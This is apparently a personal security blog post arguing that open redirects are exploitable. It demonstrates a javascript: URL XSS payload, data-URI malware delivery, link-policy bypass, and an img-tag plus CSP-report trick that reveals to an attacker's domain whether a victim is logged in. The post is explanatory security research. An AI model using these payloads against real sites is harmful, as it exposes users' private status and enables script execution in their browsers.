About Open Redirects

This article talks about Open Redirect vulnerabilities in order to outline scenarios where this kind of "weakness" can be exploited and therefore, becomes a vulnerability in the system.
If you disagree with some points, feel free to tweet me @MonierFr


First, we must define two things: what is an "Open Redirect" and what is a "Vulnerability".

Open Redirect

This is a scenario where a "vulnerable" "targeted" website forwards (redirects) the user to a page that the attacker can dictates. The complete definition can be read from OWASP website , despite OWASP focus only on "phishing" exploits, which are clearly not the only possible exploit.


Let's pick the definition from MITRE and adapt it to Open Redirects case: "A vulnerability is a flaw in a website resulting from a weakness that can be exploited, causing a negative impact to the confidentiality, integrity, or availability."

Exploit Redirect to XSS

The first and simplest exploit of an open redirect is a leverage to an XSS vulnerability. If the server uses a JS-based redirection with an unchecked protocol, then the javascript:alert(1) URL payload will be usable to exploit the Open Redirect as an XSS.
A demo is available here.

Process of the attack
The page
(() => { const u = new URL(window.location); const r = u.searchParams.get('r'); if (r === 'javascript:alert(document.domain)') { window.location.href = r; } })();
The JS
XSS result (on the correct domain)
The XSS (on the proper targeted domain)

"But this is not an Open Redirect, it's an XSS! So Open Redirects are not vulnerability!"
It is an Open Redirect, that you exploit to get an XSS (which is "a RCE on browser's Javascript). But, ok, let's say the vuln is "XSS" and see other "OR" exploits.

Abuse user's trust

Another possible usage of fully-free "Open Redirects" would be to redirect the user to a data uri containing a malware/backdoor/whatever like this. In such case, the browser would then download this file, and show it as coming from the trusted (but vulnerable) domain.

Using data-uri to have user trust the download
Using data uri to have user trust the download

"But that's not a vulnerability, that's a risk!"
Yes, this way of exploiting Open Redirect is... "meh", further more since browser shows "from: data" instead of "from: xenos.reinom.com" (which would make user trust the file more). Still, the URL shown in screen may hide the "data:" and abuse some users.

Bypass restrictions on links

Suppose that a website only allows relative links (say, a board). This could be a policy inside a company, or a board/forum that wants only links between topics (and not to outside websites to avoid spams and such), etc. The website may even restrict the links to some specific domains, like from board/forum to the company's blog.
Open Redirect allows you to "bypass" this rule: you paste a relative link to a page, which has an Open Redirect, and that page redirects user to the outside world, therefore bypassing the company's policy.
A demo is available here.

"That's not a vuln!"
This actually impacts the "integrity" of the website, because you can violate the "no external link" policy. But, ok, let's look at another exploit…

Confidentiality attack on conditional Open Redirect

Let's now suppose that the Open Redirect happens only conditionaly. For instance, let's say a login page openredirect/or-ex1.php?r=... is vulnerable to Open Redirect:

How can I exploit this? Simple: I put an img tag with src attribute of https://xenos.reinom.com/perso/hackerone/openredirect/or-ex1.php?r=https://blog.reinom.com/open-redirect-demo where "blog.reinom.com" is the attacker's domain I control inside an email (or anywhere), and sends this to the victim.

Process of the attack
Process of the attack

If the victim is logged in (and the email allows remote images), then I will see a hit back on https://blog.reinom.com/open-redirect-demo URL in my logs. Assuming I used a unique URL for every email I send, I now know whether the user with this email is logged into the targeted system, therefore attacking the "confidentiality" of whether the user is logged in or not.

Note that using an image (or a remote resource) means that user does not have to click any link for the confidentiality of the condition to be disclosed to attacker (assuming remote images are loaded).

"That's not a confidentiality attack, being logged into Facebook is not confidential!"
For Facebook, yes, but for other sites (bank, government) or conditions (has access to a document), then the confidentiality impact becomes more interesting.

The impact of such "disclosure" depends on the condition and the targeted website.
Facebook won't be a good target (too broad, knowing who's logged in is useless).
If a bank is vulnerable and has long sessions, then it's an interesting target: open redirect in that banks will allow you to know if this user (email) has an account (is logged in) in that bank.
Another example would be a personnal condition like "is part of furry group", "has religion X": such Open redirect then allows the attacker to know confidential information about their victim.
Last, if the condition is more valuable (say, instead of "is logged in", the condition is "can access document X") then the disclosure may have a bigger impact (you'll know what the victim is working on/has access to).

Exploiting this requires to uniquely identify the victim (else, there is no confidentiality issue).

Confidentiality attack on conditional Open Redirect with CSP

The previous exploit requires the email client to show remote images, and the attacker to send an email to the victim. Can we do better? Maybe, with CSP.

The setup

We currently are on the "blog.reinom.com" domain, which is the attacker's domain.

I have set a CSP (Content Security Policy) on this page that forbids "reinom.com" (any third party website, could be non-attacker controlled) images from loading, but allows "xenos.reinom.com" (the targeted website).

I have also enabled the CSP violation reports : in case of CSP violation, browser sends a request to my "blog.reinom.com" domain with the detail of the violation (and don't insta-scream around "It's deprecated lolol!" because the rule was simply renamed).

The setup

Content-Security-Policy:\ img-src xenos.reinom.com 'self';\ report-uri /open-redirect-csp-report;\ default-src 'self'

Now, I put an image tag below using the Open Redirect (no image will actually appear, it's expected), providing a URL unique to my victim (token "open-redirect-demo") who is visiting this attacker's blog:

<img src="https://xenos.reinom.com/perso/hackerone/openredirect/or-ex1.php?r=https://reinom.com/open-redirect-demo" alt=""/>
That image is the payload

What happens?

If you are not logged in, then the login page is "shown" in the image, meaning a "broken image" appears. And that's all. Nothing will "ping back" to the attacker's domain (besides the pages users visit).

Not logged in: no ping back to "CSP report" visitor-unique URL

If you are logged in, the browser is redirected to a CSP-forbidden website (reinom.com) with a token unique to you in URL.
So the browser will forbid the image loading (first red line, shown as "blocked") and browser will "ping back" the attacker domain to send the CSP report (second red line).

Visitor is logged in: CSP report pings back to attacker's domain

Since CSP violation is active, the browser sends a violation report (to the attacker's domain you are browsing right now).

The CSP report contains the full URLs (and no cookie) for unique identification

The attacker now knows that you are currently logged into this vulnerable "xenos.reinom.com" website.
If this was not a "Open Redirect on login condition" (which is very widely spread IMO) but a "Open Redirect on religion/sexual orientation/privileged access", then the confidentiality impact would be very important.

What's vulnerable?

To me here, the combo "external redirection + condition" raises the vulnerability.
The targeted "xenos.reinom.com" website cannot do anything against the CSP of the attacker (blog.reinom.com).
I am not sure if "xenos.reinom.com" can also use a CSP to tell "forbid loading this page in an image tag/in any outside page". That would also resolve the issue.

You may argue that "without open redirect, I can do the same with CSP nonce" (CSP allow the login page nonce only and forbids the rest), but this applies only if you can predict the login page content (and calculate its nonce). If the login page differs between users, or differs in time (like here with the random MD5 at the end of the page), then you cannot rely on the nonce, and you must rely on domain-based CSP rule to trigger the report.

In the end, sure you cannot make a RCE out of Open Redirect, but "Conditional Open Redirect" impacts the confidentiality of the data in some situations.

If you have any other exploit suggestion, please tweet me.